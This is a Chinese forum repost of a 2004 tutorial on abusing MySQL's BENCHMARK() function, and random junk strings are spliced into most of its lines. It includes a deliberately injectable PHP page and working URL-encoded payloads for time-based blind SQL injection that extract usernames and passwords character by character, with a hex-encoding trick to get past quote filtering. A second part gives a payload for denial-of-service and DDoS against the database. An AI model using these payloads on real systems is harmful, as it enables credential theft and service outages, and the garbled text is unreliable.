找回密码
 立即注册
查看: 2360|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 ! D8 r" n8 c: K1 z( X" K0 O- D
本文作者:SuperHei% W" s5 P/ R5 x5 P8 q, W5 |
文章性质:原创: t* ^) [, e  s$ Y
发布日期:2005-01-02+ e. c  Y7 `" U5 b
完成日期:2004-07-09
: D+ j  Q7 t6 L: y第一部
5 {% Y& t4 r2 r  r2 _% w& b; O. `
利用时间推延进行注射---BENCHMARK函数在注射中的利用 , s+ O; R1 \- ~: ~& T
  i; e1 m6 \  Z1 }! v: A
一.前言/思路
8 E- u1 c. d, r* m4 d
3 T' N# \! C; l% O) P6 c' I  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
8 b0 H% F$ h0 y0 Q; M7 @! ~) e; `& _* ?
1 ?& }9 f8 M8 P  G# Y  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。+ Q- ]* p9 p# N& E  r4 y8 ^

& e& z5 S3 ]8 }# p二.关于BENCHMARK函数
5 j; ^- e; K% X8 [6 k$ R
2 r8 G0 @* f- \/ h  在MySQL参考手册里可以看到如下描叙:
7 l0 t9 B# v0 {9 d% e; s7 A$ a# S! l# a) X' ^# A% }
0 k5 G" i6 ^. A6 J2 d2 e; ]
--------------------------------------------------------------------------------
- i- b& N2 f1 u1 z! ^3 R5 R& E: s: b9 h: ^
BENCHMARK(count,expr)
- P% U1 @0 P, [8 k8 f! V! \. bBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 " C- O! G) I0 {
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
( Q: j3 f% }* X8 ^- v1 `0 O+----------------------------------------------+
& `0 L% C0 J: f2 q2 i| BENCHMARK(1000000,encode("hello","goodbye")) | : m1 U8 U5 p2 |! R' o+ V# M5 X* V- N
+----------------------------------------------+
, y) v! ~. M; L% `/ o4 z| 0 |
: R9 L" \1 i# n( c/ I2 {/ X+----------------------------------------------+ ' s6 g- F9 d& m
1 row in set (4.74 sec)
1 y( C7 S% o' g+ p% g4 A) z* g8 I# {* w" @. f
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。5 |, Q& h! Y4 l1 O
! C& p1 l9 o  N. x9 V1 y- ?

8 l( A3 a3 t9 I8 ~2 Z--------------------------------------------------------------------------------/ C$ x" z* [0 n8 g

+ ^$ E- S' V) [8 u9 n6 R  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: % S% c  u: F1 e- P0 n

( E+ ]' F0 [0 C* |mysql> select md5( 'test' );
# o3 [1 R) y. F5 h6 ?1 @+----------------------------------+ 8 X) T0 h+ |8 i5 L: A7 H, @- m  m7 l
| md5( 'test' ) |
: ^$ ?! V6 z+ V, |0 q+----------------------------------+
- ^' G, ^7 L4 k: L3 j( {5 E( c| 098f6bcd4621d373cade4e832627b4f6 | 3 M% n- u# u7 [& D8 C% s0 M
+----------------------------------+ ; |* m1 A! q0 P0 T
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
8 x& J; E; q% Y  u8 w( d% L) f7 ^9 O
mysql> select benchmark( 500000, md5( 'test' ) ); 3 i. Q9 E  j( p* T3 I& T; U2 W
+------------------------------------+ ; {2 B, M1 K/ o- a
| benchmark( 500000, md5( 'test' ) ) |
# v7 B& K( M  ~; c# n+------------------------------------+
) Y* g& Q8 m3 {1 z% N| 0 | ' p! N  k+ F- z% c5 \4 r
+------------------------------------+ 7 L* a5 @9 l, q( F$ i- m
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
9 |) q: \" h$ E& `, u 7 M- F4 e/ Z+ [
9 s6 q! x8 q4 L8 Z, A" v# @* q+ }
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 & v  K3 c* `/ Z# F; n/ u

; ]2 q0 C6 n  s3 m1 O' `5 ]三.具体例子, H2 s6 K0 a6 a

/ R$ B4 B' u/ w" @) h5 ]) H  B! @+ ~+ z' L  首先我们看个简单的php代码:
3 k4 }% R, L3 I0 V0 |$ ], y8 c# |
< ?php
- A6 l; a' G; N! c+ G8 ]$servername = "localhost"; 7 j  X6 p9 q5 N
$dbusername = "root"; 9 G1 P; l( ^: _
$dbpassword = ""; ( u- Q- S& ]& j9 P% |
$dbname = "injection";
# A( O8 I5 R& }8 [' @, N( Q4 u" Q: _1 |6 i" c* o
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
  A3 y2 x8 R' f5 L. Y, }
- o8 B/ C3 I, F% l/ [. f  F$sql = "SELECT * FROM article WHERE articleid=$id";
6 I- p6 g& A4 I" P" ]$ P% b& W$result = mysql_db_query($dbname,$sql); ' r; f  H/ i9 n! c0 J' E) P' F
$row = mysql_fetch_array($result); : z, T' }8 ?- P" K3 s$ r

& f) r# l5 v1 L. o5 \& {* ^/ u2 mif (!$row)
+ C* d( _1 d$ F9 U9 }{ 0 m4 `: _* P% I
exit; ; ]1 O' [6 a/ R4 X1 O/ \5 [
}
) [( R* _) J6 H?>& ], e! Y) v  U0 T6 r

7 o, W( l( n! i6 o, I0 S: s0 l% R: F7 ]: o8 v
  数据库injection结构和内容如下:! y) D- C8 P/ c$ T" Y0 ~2 X

$ S% l: J( D; r" Y. ^1 j  i# 数据库 : `injection`
7 `( a7 m7 }6 m#
$ M% N# ~! m$ M% X/ k" ~4 ?! A4 C
* n- ]4 `1 ?9 c# ^# ^& v# -------------------------------------------------------- 8 ^8 q  L( u9 Q% C5 I
' x* \/ G* J2 L* O; y
# 5 t0 j) g# c2 r0 G' O: I
# 表的结构 `article` ! J+ ^3 C5 F+ p# T' E
# + C! R+ `7 u) ]9 I0 X, m" w
7 N! j( m# o' x7 y" u
CREATE TABLE `article` ( $ Q3 c6 E5 n) G" D: A7 h+ s
`articleid` int(11) NOT NULL auto_increment, # h) V" v6 i& s
`title` varchar(100) NOT NULL default '',   a: L" x( t3 U: s8 o  ]+ l
`content` text NOT NULL, , J: P& U: T# G+ c  M/ N6 q9 p" V
PRIMARY KEY (`articleid`)
. J1 s2 |8 C* `+ @) TYPE=MyISAM AUTO_INCREMENT=3 ;
; S  X9 R  A$ Y% ?+ j% f3 C
4 C5 e6 F6 }7 @5 q, g5 N7 ?# r#
* x8 o) J% g$ i' o# 导出表中的数据 `article` + G" M& k, K% Q
#
" M5 }2 i6 {& I! [) B% b9 D8 u" q  r  N& q7 A) ^
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 5 }' h1 x3 \5 M) E' y
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); " j3 \/ a: n9 R' _+ L- o: o+ P' H5 Y

) [! {: y& d' |5 |$ z: H% G4 v# -------------------------------------------------------- 0 f8 F1 l7 m: Q& `
& t; E6 Z( l  k
# % c- Y( U' s5 m  V8 ^
# 表的结构 `user` & V; ^/ S4 ~. K4 A; @$ d
#
8 s6 c# k* Y: G* }2 |& P! k9 _* A* X9 O: r
CREATE TABLE `user` (
/ ]4 r' b. g& J* {`userid` int(11) NOT NULL auto_increment,
% R' |# d6 W% y% ^) k- h/ B`username` varchar(20) NOT NULL default '', : [( P8 n1 `" S+ M1 f  v
`password` varchar(20) NOT NULL default '',
1 h- z6 ^' a1 ~$ |4 y: I6 H- cPRIMARY KEY (`userid`)
1 b# u1 R& h; v  m) TYPE=MyISAM AUTO_INCREMENT=3 ;
* S7 d4 b* m( L' F
5 X  q2 ]( m6 U# V, Z' D% @7 P# 4 u7 t/ |! K. `
# 导出表中的数据 `user` / ^: W1 I& ]; M# d  W4 ]
#
, M3 `3 j# u- \2 K
6 v$ {" Q# L2 C* g  R- T- ?INSERT INTO `user` VALUES (1, 'angel', 'mypass');
  i1 g& K4 y/ b1 k; b0 k1 X5 hINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
- i- S$ m$ ]3 M: Q5 }$ R 1 c; J4 a& H6 Z: e. d) ~

' U' E5 M8 A; X6 `  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
+ s9 t* I7 c8 h9 J' \; o4 V2 E" R. b% M  O* t, f
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
8 }% w8 i5 [+ h/ O7 a" }. L
4 v0 @- @6 i' s; ~2 E: V6 H- F& M, d% z( j1 J! n/ h7 m
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
  b3 j  o0 M& [% g1 Z6 B4 c
3 J% K0 y% M' F- c, Bhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*" _& k) L& F4 r$ I" D

& Y+ u8 I% [, d; }8 h' l! w& R% ^  U# N. {
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 ! G1 v# [- X, j" o) S
6 X' K; r1 f! Q6 }6 h
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
" ^: J* ?, f! K7 r9 P
9 k8 d4 g- K9 S* F第二部
5 L# X) d9 X  Q7 ^, p% `+ b7 K7 G0 ]) x- ?8 A1 p/ d( N  a. a# T% c
利用BENCHMARK函数进行ddos攻击
1 W2 A& P! n% R6 u# J2 r8 e* ^7 C; u6 c
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
! R8 |7 A6 p1 j& D2 m8 q% w0 G" B" M3 P
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
* e4 V( ?+ t, r) C- |6 ~ ; ]6 F3 g& u. ?* \0 f

3 B, D8 k2 T# o) c( E小结
0 U8 ^1 M1 D( v9 U2 K1 m3 B7 F& m! M5 b
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
" E5 t7 [9 R" l% d% p9 V/ D( o8 \  P
/ M0 ]+ i' g9 }0 I% |- X+ O  % `$ U" p) w; E+ A" P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表